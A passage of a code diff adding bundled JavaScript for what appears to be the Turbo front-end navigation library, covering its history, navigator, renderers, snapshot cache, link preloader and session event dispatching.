+        formSubmissionStarted(_formSubmission) {
+            this.progressBar.setValue(0);
+            this.showFormProgressBarAfterDelay();
+        }
+        formSubmissionFinished(_formSubmission) {
+            this.progressBar.setValue(1);
+            this.hideFormProgressBar();
+        }
+        showVisitProgressBarAfterDelay() {
+            this.visitProgressBarTimeout = window.setTimeout(this.showProgressBar, this.session.progressBarDelay);
+        }
+        hideVisitProgressBar() {
+            this.progressBar.hide();
+            if (this.visitProgressBarTimeout != null) {
+                window.clearTimeout(this.visitProgressBarTimeout);
+                delete this.visitProgressBarTimeout;
+            }
+        }
+        showFormProgressBarAfterDelay() {
+            if (this.formProgressBarTimeout == null) {
+                this.formProgressBarTimeout = window.setTimeout(this.showProgressBar, this.session.progressBarDelay);
+            }
+        }
+        hideFormProgressBar() {
+            this.progressBar.hide();
+            if (this.formProgressBarTimeout != null) {
+                window.clearTimeout(this.formProgressBarTimeout);
+                delete this.formProgressBarTimeout;
+            }
+        }
+        reload(reason) {
+            var _a;
+            dispatch("turbo:reload", { detail: reason });
+            window.location.href = ((_a = this.location) === null || _a === void 0 ? void 0 : _a.toString()) || window.location.href;
+        }
+        get navigator() {
+            return this.session.navigator;
+        }
+    }
+
+    class CacheObserver {
+        constructor() {
+            this.started = false;
+            this.removeStaleElements = ((_event) => {
+                const staleElements = [...document.querySelectorAll('[data-turbo-cache="false"]')];
+                for (const element of staleElements) {
+                    element.remove();
+                }
+            });
+        }
+        start() {
+            if (!this.started) {
+                this.started = true;
+                addEventListener("turbo:before-cache", this.removeStaleElements, false);
+            }
+        }
+        stop() {
+            if (this.started) {
+                this.started = false;
+                removeEventListener("turbo:before-cache", this.removeStaleElements, false);
+            }
+        }
+    }
+
+    class FrameRedirector {
+        constructor(session, element) {
+            this.session = session;
+            this.element = element;
+            this.linkInterceptor = new LinkInterceptor(this, element);
+            this.formSubmitObserver = new FormSubmitObserver(this, element);
+        }
+        start() {
+            this.linkInterceptor.start();
+            this.formSubmitObserver.start();
+        }
+        stop() {
+            this.linkInterceptor.stop();
+            this.formSubmitObserver.stop();
+        }
+        shouldInterceptLinkClick(element, _location, _event) {
+            return this.shouldRedirect(element);
+        }
+        linkClickIntercepted(element, url, event) {
+            const frame = this.findFrameElement(element);
+            if (frame) {
+                frame.delegate.linkClickIntercepted(element, url, event);
+            }
+        }
+        willSubmitForm(element, submitter) {
+            return (element.closest("turbo-frame") == null &&
+                this.shouldSubmit(element, submitter) &&
+                this.shouldRedirect(element, submitter));
+        }
+        formSubmitted(element, submitter) {
+            const frame = this.findFrameElement(element, submitter);
+            if (frame) {
+                frame.delegate.formSubmitted(element, submitter);
+            }
+        }
+        shouldSubmit(form, submitter) {
+            var _a;
+            const action = getAction(form, submitter);
+            const meta = this.element.ownerDocument.querySelector(`meta[name="turbo-root"]`);
+            const rootLocation = expandURL((_a = meta === null || meta === void 0 ? void 0 : meta.content) !== null && _a !== void 0 ? _a : "/");
+            return this.shouldRedirect(form, submitter) && locationIsVisitable(action, rootLocation);
+        }
+        shouldRedirect(element, submitter) {
+            const isNavigatable = element instanceof HTMLFormElement
+                ? this.session.submissionIsNavigatable(element, submitter)
+                : this.session.elementIsNavigatable(element);
+            if (isNavigatable) {
+                const frame = this.findFrameElement(element, submitter);
+                return frame ? frame != element.closest("turbo-frame") : false;
+            }
+            else {
+                return false;
+            }
+        }
+        findFrameElement(element, submitter) {
+            const id = (submitter === null || submitter === void 0 ? void 0 : submitter.getAttribute("data-turbo-frame")) || element.getAttribute("data-turbo-frame");
+            if (id && id != "_top") {
+                const frame = this.element.querySelector(`#${id}:not([disabled])`);
+                if (frame instanceof FrameElement) {
+                    return frame;
+                }
+            }
+        }
+    }
+
+    class History {
+        constructor(delegate) {
+            this.restorationIdentifier = uuid();
+            this.restorationData = {};
+            this.started = false;
+            this.pageLoaded = false;
+            this.onPopState = (event) => {
+                if (this.shouldHandlePopState()) {
+                    const { turbo } = event.state || {};
+                    if (turbo) {
+                        this.location = new URL(window.location.href);
+                        const { restorationIdentifier } = turbo;
+                        this.restorationIdentifier = restorationIdentifier;
+                        this.delegate.historyPoppedToLocationWithRestorationIdentifier(this.location, restorationIdentifier);
+                    }
+                }
+            };
+            this.onPageLoad = async (_event) => {
+                await nextMicrotask();
+                this.pageLoaded = true;
+            };
+            this.delegate = delegate;
+        }
+        start() {
+            if (!this.started) {
+                addEventListener("popstate", this.onPopState, false);
+                addEventListener("load", this.onPageLoad, false);
+                this.started = true;
+                this.replace(new URL(window.location.href));
+            }
+        }
+        stop() {
+            if (this.started) {
+                removeEventListener("popstate", this.onPopState, false);
+                removeEventListener("load", this.onPageLoad, false);
+                this.started = false;
+            }
+        }
+        push(location, restorationIdentifier) {
+            this.update(history.pushState, location, restorationIdentifier);
+        }
+        replace(location, restorationIdentifier) {
+            this.update(history.replaceState, location, restorationIdentifier);
+        }
+        update(method, location, restorationIdentifier = uuid()) {
+            const state = { turbo: { restorationIdentifier } };
+            method.call(history, state, "", location.href);
+            this.location = location;
+            this.restorationIdentifier = restorationIdentifier;
+        }
+        getRestorationDataForIdentifier(restorationIdentifier) {
+            return this.restorationData[restorationIdentifier] || {};
+        }
+        updateRestorationData(additionalData) {
+            const { restorationIdentifier } = this;
+            const restorationData = this.restorationData[restorationIdentifier];
+            this.restorationData[restorationIdentifier] = Object.assign(Object.assign({}, restorationData), additionalData);
+        }
+        assumeControlOfScrollRestoration() {
+            var _a;
+            if (!this.previousScrollRestoration) {
+                this.previousScrollRestoration = (_a = history.scrollRestoration) !== null && _a !== void 0 ? _a : "auto";
+                history.scrollRestoration = "manual";
+            }
+        }
+        relinquishControlOfScrollRestoration() {
+            if (this.previousScrollRestoration) {
+                history.scrollRestoration = this.previousScrollRestoration;
+                delete this.previousScrollRestoration;
+            }
+        }
+        shouldHandlePopState() {
+            return this.pageIsLoaded();
+        }
+        pageIsLoaded() {
+            return this.pageLoaded || document.readyState == "complete";
+        }
+    }
+
+    class Navigator {
+        constructor(delegate) {
+            this.delegate = delegate;
+        }
+        proposeVisit(location, options = {}) {
+            if (this.delegate.allowsVisitingLocationWithAction(location, options.action)) {
+                if (locationIsVisitable(location, this.view.snapshot.rootLocation)) {
+                    this.delegate.visitProposedToLocation(location, options);
+                }
+                else {
+                    window.location.href = location.toString();
+                }
+            }
+        }
+        startVisit(locatable, restorationIdentifier, options = {}) {
+            this.stop();
+            this.currentVisit = new Visit(this, expandURL(locatable), restorationIdentifier, Object.assign({ referrer: this.location }, options));
+            this.currentVisit.start();
+        }
+        submitForm(form, submitter) {
+            this.stop();
+            this.formSubmission = new FormSubmission(this, form, submitter, true);
+            this.formSubmission.start();
+        }
+        stop() {
+            if (this.formSubmission) {
+                this.formSubmission.stop();
+                delete this.formSubmission;
+            }
+            if (this.currentVisit) {
+                this.currentVisit.cancel();
+                delete this.currentVisit;
+            }
+        }
+        get adapter() {
+            return this.delegate.adapter;
+        }
+        get view() {
+            return this.delegate.view;
+        }
+        get history() {
+            return this.delegate.history;
+        }
+        formSubmissionStarted(formSubmission) {
+            if (typeof this.adapter.formSubmissionStarted === "function") {
+                this.adapter.formSubmissionStarted(formSubmission);
+            }
+        }
+        async formSubmissionSucceededWithResponse(formSubmission, fetchResponse) {
+            if (formSubmission == this.formSubmission) {
+                const responseHTML = await fetchResponse.responseHTML;
+                if (responseHTML) {
+                    const shouldCacheSnapshot = formSubmission.method == FetchMethod.get;
+                    if (!shouldCacheSnapshot) {
+                        this.view.clearSnapshotCache();
+                    }
+                    const { statusCode, redirected } = fetchResponse;
+                    const action = this.getActionForFormSubmission(formSubmission);
+                    const visitOptions = {
+                        action,
+                        shouldCacheSnapshot,
+                        response: { statusCode, responseHTML, redirected },
+                    };
+                    this.proposeVisit(fetchResponse.location, visitOptions);
+                }
+            }
+        }
+        async formSubmissionFailedWithResponse(formSubmission, fetchResponse) {
+            const responseHTML = await fetchResponse.responseHTML;
+            if (responseHTML) {
+                const snapshot = PageSnapshot.fromHTMLString(responseHTML);
+                if (fetchResponse.serverError) {
+                    await this.view.renderError(snapshot, this.currentVisit);
+                }
+                else {
+                    await this.view.renderPage(snapshot, false, true, this.currentVisit);
+                }
+                this.view.scrollToTop();
+                this.view.clearSnapshotCache();
+            }
+        }
+        formSubmissionErrored(formSubmission, error) {
+            console.error(error);
+        }
+        formSubmissionFinished(formSubmission) {
+            if (typeof this.adapter.formSubmissionFinished === "function") {
+                this.adapter.formSubmissionFinished(formSubmission);
+            }
+        }
+        visitStarted(visit) {
+            this.delegate.visitStarted(visit);
+        }
+        visitCompleted(visit) {
+            this.delegate.visitCompleted(visit);
+        }
+        locationWithActionIsSamePage(location, action) {
+            const anchor = getAnchor(location);
+            const currentAnchor = getAnchor(this.view.lastRenderedLocation);
+            const isRestorationToTop = action === "restore" && typeof anchor === "undefined";
+            return (action !== "replace" &&
+                getRequestURL(location) === getRequestURL(this.view.lastRenderedLocation) &&
+                (isRestorationToTop || (anchor != null && anchor !== currentAnchor)));
+        }
+        visitScrolledToSamePageLocation(oldURL, newURL) {
+            this.delegate.visitScrolledToSamePageLocation(oldURL, newURL);
+        }
+        get location() {
+            return this.history.location;
+        }
+        get restorationIdentifier() {
+            return this.history.restorationIdentifier;
+        }
+        getActionForFormSubmission({ submitter, formElement }) {
+            return getVisitAction(submitter, formElement) || "advance";
+        }
+    }
+
+    var PageStage;
+    (function (PageStage) {
+        PageStage[PageStage["initial"] = 0] = "initial";
+        PageStage[PageStage["loading"] = 1] = "loading";
+        PageStage[PageStage["interactive"] = 2] = "interactive";
+        PageStage[PageStage["complete"] = 3] = "complete";
+    })(PageStage || (PageStage = {}));
+    class PageObserver {
+        constructor(delegate) {
+            this.stage = PageStage.initial;
+            this.started = false;
+            this.interpretReadyState = () => {
+                const { readyState } = this;
+                if (readyState == "interactive") {
+                    this.pageIsInteractive();
+                }
+                else if (readyState == "complete") {
+                    this.pageIsComplete();
+                }
+            };
+            this.pageWillUnload = () => {
+                this.delegate.pageWillUnload();
+            };
+            this.delegate = delegate;
+        }
+        start() {
+            if (!this.started) {
+                if (this.stage == PageStage.initial) {
+                    this.stage = PageStage.loading;
+                }
+                document.addEventListener("readystatechange", this.interpretReadyState, false);
+                addEventListener("pagehide", this.pageWillUnload, false);
+                this.started = true;
+            }
+        }
+        stop() {
+            if (this.started) {
+                document.removeEventListener("readystatechange", this.interpretReadyState, false);
+                removeEventListener("pagehide", this.pageWillUnload, false);
+                this.started = false;
+            }
+        }
+        pageIsInteractive() {
+            if (this.stage == PageStage.loading) {
+                this.stage = PageStage.interactive;
+                this.delegate.pageBecameInteractive();
+            }
+        }
+        pageIsComplete() {
+            this.pageIsInteractive();
+            if (this.stage == PageStage.interactive) {
+                this.stage = PageStage.complete;
+                this.delegate.pageLoaded();
+            }
+        }
+        get readyState() {
+            return document.readyState;
+        }
+    }
+
+    class ScrollObserver {
+        constructor(delegate) {
+            this.started = false;
+            this.onScroll = () => {
+                this.updatePosition({ x: window.pageXOffset, y: window.pageYOffset });
+            };
+            this.delegate = delegate;
+        }
+        start() {
+            if (!this.started) {
+                addEventListener("scroll", this.onScroll, false);
+                this.onScroll();
+                this.started = true;
+            }
+        }
+        stop() {
+            if (this.started) {
+                removeEventListener("scroll", this.onScroll, false);
+                this.started = false;
+            }
+        }
+        updatePosition(position) {
+            this.delegate.scrollPositionChanged(position);
+        }
+    }
+
+    class StreamMessageRenderer {
+        render({ fragment }) {
+            Bardo.preservingPermanentElements(this, getPermanentElementMapForFragment(fragment), () => document.documentElement.appendChild(fragment));
+        }
+        enteringBardo(currentPermanentElement, newPermanentElement) {
+            newPermanentElement.replaceWith(currentPermanentElement.cloneNode(true));
+        }
+        leavingBardo() { }
+    }
+    function getPermanentElementMapForFragment(fragment) {
+        const permanentElementsInDocument = queryPermanentElementsAll(document.documentElement);
+        const permanentElementMap = {};
+        for (const permanentElementInDocument of permanentElementsInDocument) {
+            const { id } = permanentElementInDocument;
+            for (const streamElement of fragment.querySelectorAll("turbo-stream")) {
+                const elementInStream = getPermanentElementById(streamElement.templateElement.content, id);
+                if (elementInStream) {
+                    permanentElementMap[id] = [permanentElementInDocument, elementInStream];
+                }
+            }
+        }
+        return permanentElementMap;
+    }
+
+    class StreamObserver {
+        constructor(delegate) {
+            this.sources = new Set();
+            this.started = false;
+            this.inspectFetchResponse = ((event) => {
+                const response = fetchResponseFromEvent(event);
+                if (response && fetchResponseIsStream(response)) {
+                    event.preventDefault();
+                    this.receiveMessageResponse(response);
+                }
+            });
+            this.receiveMessageEvent = (event) => {
+                if (this.started && typeof event.data == "string") {
+                    this.receiveMessageHTML(event.data);
+                }
+            };
+            this.delegate = delegate;
+        }
+        start() {
+            if (!this.started) {
+                this.started = true;
+                addEventListener("turbo:before-fetch-response", this.inspectFetchResponse, false);
+            }
+        }
+        stop() {
+            if (this.started) {
+                this.started = false;
+                removeEventListener("turbo:before-fetch-response", this.inspectFetchResponse, false);
+            }
+        }
+        connectStreamSource(source) {
+            if (!this.streamSourceIsConnected(source)) {
+                this.sources.add(source);
+                source.addEventListener("message", this.receiveMessageEvent, false);
+            }
+        }
+        disconnectStreamSource(source) {
+            if (this.streamSourceIsConnected(source)) {
+                this.sources.delete(source);
+                source.removeEventListener("message", this.receiveMessageEvent, false);
+            }
+        }
+        streamSourceIsConnected(source) {
+            return this.sources.has(source);
+        }
+        async receiveMessageResponse(response) {
+            const html = await response.responseHTML;
+            if (html) {
+                this.receiveMessageHTML(html);
+            }
+        }
+        receiveMessageHTML(html) {
+            this.delegate.receivedMessageFromStream(StreamMessage.wrap(html));
+        }
+    }
+    function fetchResponseFromEvent(event) {
+        var _a;
+        const fetchResponse = (_a = event.detail) === null || _a === void 0 ? void 0 : _a.fetchResponse;
+        if (fetchResponse instanceof FetchResponse) {
+            return fetchResponse;
+        }
+    }
+    function fetchResponseIsStream(response) {
+        var _a;
+        const contentType = (_a = response.contentType) !== null && _a !== void 0 ? _a : "";
+        return contentType.startsWith(StreamMessage.contentType);
+    }
+
+    class ErrorRenderer extends Renderer {
+        static renderElement(currentElement, newElement) {
+            const { documentElement, body } = document;
+            documentElement.replaceChild(newElement, body);
+        }
+        async render() {
+            this.replaceHeadAndBody();
+            this.activateScriptElements();
+        }
+        replaceHeadAndBody() {
+            const { documentElement, head } = document;
+            documentElement.replaceChild(this.newHead, head);
+            this.renderElement(this.currentElement, this.newElement);
+        }
+        activateScriptElements() {
+            for (const replaceableElement of this.scriptElements) {
+                const parentNode = replaceableElement.parentNode;
+                if (parentNode) {
+                    const element = activateScriptElement(replaceableElement);
+                    parentNode.replaceChild(element, replaceableElement);
+                }
+            }
+        }
+        get newHead() {
+            return this.newSnapshot.headSnapshot.element;
+        }
+        get scriptElements() {
+            return document.documentElement.querySelectorAll("script");
+        }
+    }
+
+    class PageRenderer extends Renderer {
+        static renderElement(currentElement, newElement) {
+            if (document.body && newElement instanceof HTMLBodyElement) {
+                document.body.replaceWith(newElement);
+            }
+            else {
+                document.documentElement.appendChild(newElement);
+            }
+        }
+        get shouldRender() {
+            return this.newSnapshot.isVisitable && this.trackedElementsAreIdentical;
+        }
+        get reloadReason() {
+            if (!this.newSnapshot.isVisitable) {
+                return {
+                    reason: "turbo_visit_control_is_reload",
+                };
+            }
+            if (!this.trackedElementsAreIdentical) {
+                return {
+                    reason: "tracked_element_mismatch",
+                };
+            }
+        }
+        async prepareToRender() {
+            await this.mergeHead();
+        }
+        async render() {
+            if (this.willRender) {
+                await this.replaceBody();
+            }
+        }
+        finishRendering() {
+            super.finishRendering();
+            if (!this.isPreview) {
+                this.focusFirstAutofocusableElement();
+            }
+        }
+        get currentHeadSnapshot() {
+            return this.currentSnapshot.headSnapshot;
+        }
+        get newHeadSnapshot() {
+            return this.newSnapshot.headSnapshot;
+        }
+        get newElement() {
+            return this.newSnapshot.element;
+        }
+        async mergeHead() {
+            const mergedHeadElements = this.mergeProvisionalElements();
+            const newStylesheetElements = this.copyNewHeadStylesheetElements();
+            this.copyNewHeadScriptElements();
+            await mergedHeadElements;
+            await newStylesheetElements;
+        }
+        async replaceBody() {
+            await this.preservingPermanentElements(async () => {
+                this.activateNewBody();
+                await this.assignNewBody();
+            });
+        }
+        get trackedElementsAreIdentical() {
+            return this.currentHeadSnapshot.trackedElementSignature == this.newHeadSnapshot.trackedElementSignature;
+        }
+        async copyNewHeadStylesheetElements() {
+            const loadingElements = [];
+            for (const element of this.newHeadStylesheetElements) {
+                loadingElements.push(waitForLoad(element));
+                document.head.appendChild(element);
+            }
+            await Promise.all(loadingElements);
+        }
+        copyNewHeadScriptElements() {
+            for (const element of this.newHeadScriptElements) {
+                document.head.appendChild(activateScriptElement(element));
+            }
+        }
+        async mergeProvisionalElements() {
+            const newHeadElements = [...this.newHeadProvisionalElements];
+            for (const element of this.currentHeadProvisionalElements) {
+                if (!this.isCurrentElementInElementList(element, newHeadElements)) {
+                    document.head.removeChild(element);
+                }
+            }
+            for (const element of newHeadElements) {
+                document.head.appendChild(element);
+            }
+        }
+        isCurrentElementInElementList(element, elementList) {
+            for (const [index, newElement] of elementList.entries()) {
+                if (element.tagName == "TITLE") {
+                    if (newElement.tagName != "TITLE") {
+                        continue;
+                    }
+                    if (element.innerHTML == newElement.innerHTML) {
+                        elementList.splice(index, 1);
+                        return true;
+                    }
+                }
+                if (newElement.isEqualNode(element)) {
+                    elementList.splice(index, 1);
+                    return true;
+                }
+            }
+            return false;
+        }
+        removeCurrentHeadProvisionalElements() {
+            for (const element of this.currentHeadProvisionalElements) {
+                document.head.removeChild(element);
+            }
+        }
+        copyNewHeadProvisionalElements() {
+            for (const element of this.newHeadProvisionalElements) {
+                document.head.appendChild(element);
+            }
+        }
+        activateNewBody() {
+            document.adoptNode(this.newElement);
+            this.activateNewBodyScriptElements();
+        }
+        activateNewBodyScriptElements() {
+            for (const inertScriptElement of this.newBodyScriptElements) {
+                const activatedScriptElement = activateScriptElement(inertScriptElement);
+                inertScriptElement.replaceWith(activatedScriptElement);
+            }
+        }
+        async assignNewBody() {
+            await this.renderElement(this.currentElement, this.newElement);
+        }
+        get newHeadStylesheetElements() {
+            return this.newHeadSnapshot.getStylesheetElementsNotInSnapshot(this.currentHeadSnapshot);
+        }
+        get newHeadScriptElements() {
+            return this.newHeadSnapshot.getScriptElementsNotInSnapshot(this.currentHeadSnapshot);
+        }
+        get currentHeadProvisionalElements() {
+            return this.currentHeadSnapshot.provisionalElements;
+        }
+        get newHeadProvisionalElements() {
+            return this.newHeadSnapshot.provisionalElements;
+        }
+        get newBodyScriptElements() {
+            return this.newElement.querySelectorAll("script");
+        }
+    }
+
+    class SnapshotCache {
+        constructor(size) {
+            this.keys = [];
+            this.snapshots = {};
+            this.size = size;
+        }
+        has(location) {
+            return toCacheKey(location) in this.snapshots;
+        }
+        get(location) {
+            if (this.has(location)) {
+                const snapshot = this.read(location);
+                this.touch(location);
+                return snapshot;
+            }
+        }
+        put(location, snapshot) {
+            this.write(location, snapshot);
+            this.touch(location);
+            return snapshot;
+        }
+        clear() {
+            this.snapshots = {};
+        }
+        read(location) {
+            return this.snapshots[toCacheKey(location)];
+        }
+        write(location, snapshot) {
+            this.snapshots[toCacheKey(location)] = snapshot;
+        }
+        touch(location) {
+            const key = toCacheKey(location);
+            const index = this.keys.indexOf(key);
+            if (index > -1)
+                this.keys.splice(index, 1);
+            this.keys.unshift(key);
+            this.trim();
+        }
+        trim() {
+            for (const key of this.keys.splice(this.size)) {
+                delete this.snapshots[key];
+            }
+        }
+    }
+
+    class PageView extends View {
+        constructor() {
+            super(...arguments);
+            this.snapshotCache = new SnapshotCache(10);
+            this.lastRenderedLocation = new URL(location.href);
+            this.forceReloaded = false;
+        }
+        renderPage(snapshot, isPreview = false, willRender = true, visit) {
+            const renderer = new PageRenderer(this.snapshot, snapshot, PageRenderer.renderElement, isPreview, willRender);
+            if (!renderer.shouldRender) {
+                this.forceReloaded = true;
+            }
+            else {
+                visit === null || visit === void 0 ? void 0 : visit.changeHistory();
+            }
+            return this.render(renderer);
+        }
+        renderError(snapshot, visit) {
+            visit === null || visit === void 0 ? void 0 : visit.changeHistory();
+            const renderer = new ErrorRenderer(this.snapshot, snapshot, ErrorRenderer.renderElement, false);
+            return this.render(renderer);
+        }
+        clearSnapshotCache() {
+            this.snapshotCache.clear();
+        }
+        async cacheSnapshot(snapshot = this.snapshot) {
+            if (snapshot.isCacheable) {
+                this.delegate.viewWillCacheSnapshot();
+                const { lastRenderedLocation: location } = this;
+                await nextEventLoopTick();
+                const cachedSnapshot = snapshot.clone();
+                this.snapshotCache.put(location, cachedSnapshot);
+                return cachedSnapshot;
+            }
+        }
+        getCachedSnapshotForLocation(location) {
+            return this.snapshotCache.get(location);
+        }
+        get snapshot() {
+            return PageSnapshot.fromElement(this.element);
+        }
+    }
+
+    class Preloader {
+        constructor(delegate) {
+            this.selector = "a[data-turbo-preload]";
+            this.delegate = delegate;
+        }
+        get snapshotCache() {
+            return this.delegate.navigator.view.snapshotCache;
+        }
+        start() {
+            if (document.readyState === "loading") {
+                return document.addEventListener("DOMContentLoaded", () => {
+                    this.preloadOnLoadLinksForView(document.body);
+                });
+            }
+            else {
+                this.preloadOnLoadLinksForView(document.body);
+            }
+        }
+        preloadOnLoadLinksForView(element) {
+            for (const link of element.querySelectorAll(this.selector)) {
+                this.preloadURL(link);
+            }
+        }
+        async preloadURL(link) {
+            const location = new URL(link.href);
+            if (this.snapshotCache.has(location)) {
+                return;
+            }
+            try {
+                const response = await fetch(location.toString(), { headers: { "VND.PREFETCH": "true", Accept: "text/html" } });
+                const responseText = await response.text();
+                const snapshot = PageSnapshot.fromHTMLString(responseText);
+                this.snapshotCache.put(location, snapshot);
+            }
+            catch (_) {
+            }
+        }
+    }
+
+    class Session {
+        constructor() {
+            this.navigator = new Navigator(this);
+            this.history = new History(this);
+            this.preloader = new Preloader(this);
+            this.view = new PageView(this, document.documentElement);
+            this.adapter = new BrowserAdapter(this);
+            this.pageObserver = new PageObserver(this);
+            this.cacheObserver = new CacheObserver();
+            this.linkClickObserver = new LinkClickObserver(this, window);
+            this.formSubmitObserver = new FormSubmitObserver(this, document);
+            this.scrollObserver = new ScrollObserver(this);
+            this.streamObserver = new StreamObserver(this);
+            this.formLinkClickObserver = new FormLinkClickObserver(this, document.documentElement);
+            this.frameRedirector = new FrameRedirector(this, document.documentElement);
+            this.streamMessageRenderer = new StreamMessageRenderer();
+            this.drive = true;
+            this.enabled = true;
+            this.progressBarDelay = 500;
+            this.started = false;
+            this.formMode = "on";
+        }
+        start() {
+            if (!this.started) {
+                this.pageObserver.start();
+                this.cacheObserver.start();
+                this.formLinkClickObserver.start();
+                this.linkClickObserver.start();
+                this.formSubmitObserver.start();
+                this.scrollObserver.start();
+                this.streamObserver.start();
+                this.frameRedirector.start();
+                this.history.start();
+                this.preloader.start();
+                this.started = true;
+                this.enabled = true;
+            }
+        }
+        disable() {
+            this.enabled = false;
+        }
+        stop() {
+            if (this.started) {
+                this.pageObserver.stop();
+                this.cacheObserver.stop();
+                this.formLinkClickObserver.stop();
+                this.linkClickObserver.stop();
+                this.formSubmitObserver.stop();
+                this.scrollObserver.stop();
+                this.streamObserver.stop();
+                this.frameRedirector.stop();
+                this.history.stop();
+                this.started = false;
+            }
+        }
+        registerAdapter(adapter) {
+            this.adapter = adapter;
+        }
+        visit(location, options = {}) {
+            const frameElement = options.frame ? document.getElementById(options.frame) : null;
+            if (frameElement instanceof FrameElement) {
+                frameElement.src = location.toString();
+                frameElement.loaded;
+            }
+            else {
+                this.navigator.proposeVisit(expandURL(location), options);
+            }
+        }
+        connectStreamSource(source) {
+            this.streamObserver.connectStreamSource(source);
+        }
+        disconnectStreamSource(source) {
+            this.streamObserver.disconnectStreamSource(source);
+        }
+        renderStreamMessage(message) {
+            this.streamMessageRenderer.render(StreamMessage.wrap(message));
+        }
+        clearCache() {
+            this.view.clearSnapshotCache();
+        }
+        setProgressBarDelay(delay) {
+            this.progressBarDelay = delay;
+        }
+        setFormMode(mode) {
+            this.formMode = mode;
+        }
+        get location() {
+            return this.history.location;
+        }
+        get restorationIdentifier() {
+            return this.history.restorationIdentifier;
+        }
+        historyPoppedToLocationWithRestorationIdentifier(location, restorationIdentifier) {
+            if (this.enabled) {
+                this.navigator.startVisit(location, restorationIdentifier, {
+                    action: "restore",
+                    historyChanged: true,
+                });
+            }
+            else {
+                this.adapter.pageInvalidated({
+                    reason: "turbo_disabled",
+                });
+            }
+        }
+        scrollPositionChanged(position) {
+            this.history.updateRestorationData({ scrollPosition: position });
+        }
+        willSubmitFormLinkToLocation(link, location) {
+            return this.elementIsNavigatable(link) && locationIsVisitable(location, this.snapshot.rootLocation);
+        }
+        submittedFormLinkToLocation() { }
+        willFollowLinkToLocation(link, location, event) {
+            return (this.elementIsNavigatable(link) &&
+                locationIsVisitable(location, this.snapshot.rootLocation) &&
+                this.applicationAllowsFollowingLinkToLocation(link, location, event));
+        }
+        followedLinkToLocation(link, location) {
+            const action = this.getActionForLink(link);
+            const acceptsStreamResponse = link.hasAttribute("data-turbo-stream");
+            this.visit(location.href, { action, acceptsStreamResponse });
+        }
+        allowsVisitingLocationWithAction(location, action) {
+            return this.locationWithActionIsSamePage(location, action) || this.applicationAllowsVisitingLocation(location);
+        }
+        visitProposedToLocation(location, options) {
+            extendURLWithDeprecatedProperties(location);
+            this.adapter.visitProposedToLocation(location, options);
+        }
+        visitStarted(visit) {
+            if (!visit.acceptsStreamResponse) {
+                markAsBusy(document.documentElement);
+            }
+            extendURLWithDeprecatedProperties(visit.location);
+            if (!visit.silent) {
+                this.notifyApplicationAfterVisitingLocation(visit.location, visit.action);
+            }
+        }
+        visitCompleted(visit) {
+            clearBusyState(document.documentElement);
+            this.notifyApplicationAfterPageLoad(visit.getTimingMetrics());
+        }
+        locationWithActionIsSamePage(location, action) {
+            return this.navigator.locationWithActionIsSamePage(location, action);
+        }
+        visitScrolledToSamePageLocation(oldURL, newURL) {
+            this.notifyApplicationAfterVisitingSamePageLocation(oldURL, newURL);
+        }
+        willSubmitForm(form, submitter) {
+            const action = getAction(form, submitter);
+            return (this.submissionIsNavigatable(form, submitter) &&
+                locationIsVisitable(expandURL(action), this.snapshot.rootLocation));
+        }
+        formSubmitted(form, submitter) {
+            this.navigator.submitForm(form, submitter);
+        }
+        pageBecameInteractive() {
+            this.view.lastRenderedLocation = this.location;
+            this.notifyApplicationAfterPageLoad();
+        }
+        pageLoaded() {
+            this.history.assumeControlOfScrollRestoration();
+        }
+        pageWillUnload() {
+            this.history.relinquishControlOfScrollRestoration();
+        }
+        receivedMessageFromStream(message) {
+            this.renderStreamMessage(message);
+        }
+        viewWillCacheSnapshot() {
+            var _a;
+            if (!((_a = this.navigator.currentVisit) === null || _a === void 0 ? void 0 : _a.silent)) {
+                this.notifyApplicationBeforeCachingSnapshot();
+            }
+        }
+        allowsImmediateRender({ element }, options) {
+            const event = this.notifyApplicationBeforeRender(element, options);
+            const { defaultPrevented, detail: { render }, } = event;
+            if (this.view.renderer && render) {
+                this.view.renderer.renderElement = render;
+            }
+            return !defaultPrevented;
+        }
+        viewRenderedSnapshot(_snapshot, _isPreview) {
+            this.view.lastRenderedLocation = this.history.location;
+            this.notifyApplicationAfterRender();
+        }
+        preloadOnLoadLinksForView(element) {
+            this.preloader.preloadOnLoadLinksForView(element);
+        }
+        viewInvalidated(reason) {
+            this.adapter.pageInvalidated(reason);
+        }
+        frameLoaded(frame) {
+            this.notifyApplicationAfterFrameLoad(frame);
+        }
+        frameRendered(fetchResponse, frame) {
+            this.notifyApplicationAfterFrameRender(fetchResponse, frame);
+        }
+        applicationAllowsFollowingLinkToLocation(link, location, ev) {
+            const event = this.notifyApplicationAfterClickingLinkToLocation(link, location, ev);
+            return !event.defaultPrevented;
+        }
+        applicationAllowsVisitingLocation(location) {
+            const event = this.notifyApplicationBeforeVisitingLocation(location);
+            return !event.defaultPrevented;
+        }
+        notifyApplicationAfterClickingLinkToLocation(link, location, event) {
+            return dispatch("turbo:click", {
+                target: link,
+                detail: { url: location.href, originalEvent: event },
+                cancelable: true,
+            });
+        }
+        notifyApplicationBeforeVisitingLocation(location) {
+            return dispatch("turbo:before-visit", {
+                detail: { url: location.href },
+                cancelable: true,
+            });
+        }
+        notifyApplicationAfterVisitingLocation(location, action) {
+            return dispatch("turbo:visit", { detail: { url: location.href, action } });
+        }
+        notifyApplicationBeforeCachingSnapshot() {
+            return dispatch("turbo:before-cache");
+        }
+        notifyApplicationBeforeRender(newBody, options) {
+            return dispatch("turbo:before-render", {
+                detail: Object.assign({ newBody }, options),
+                cancelable: true,
+            });
+        }
+        notifyApplicationAfterRender() {
+            return dispatch("turbo:render");
+        }
+        notifyApplicationAfterPageLoad(timing = {}) {
+            return dispatch("turbo:load", {
+                detail: { url: this.location.href, timing },
+            });
+        }
+        notifyApplicationAfterVisitingSamePageLocation(oldURL, newURL) {
+            dispatchEvent(new HashChangeEvent("hashchange", {
+                oldURL: oldURL.toString(),
+                newURL: newURL.toString(),
+            }));
+        }
+        notifyApplicationAfterFrameLoad(frame) {
+            return dispatch("turbo:frame-load", { target: frame });
+        }
+        notifyApplicationAfterFrameRender(fetchResponse, frame) {
+            return dispatch("turbo:frame-render", {
+                detail: { fetchResponse },
+                target: frame,
+                cancelable: true,
+            });
+        }
+        submissionIsNavigatable(form, submitter) {
+            if (this.formMode == "off") {
+                return false;
+            }
+            else {
+                const submitterIsNavigatable = submitter ? this.elementIsNavigatable(submitter) : true;
+                if (this.formMode == "optin") {
+                    return submitterIsNavigatable && form.closest('[data-turbo="true"]') != null;
+                }
+                else {
+                    return submitterIsNavigatable && this.elementIsNavigatable(form);
+                }
+            }
+        }
+        elementIsNavigatable(element) {
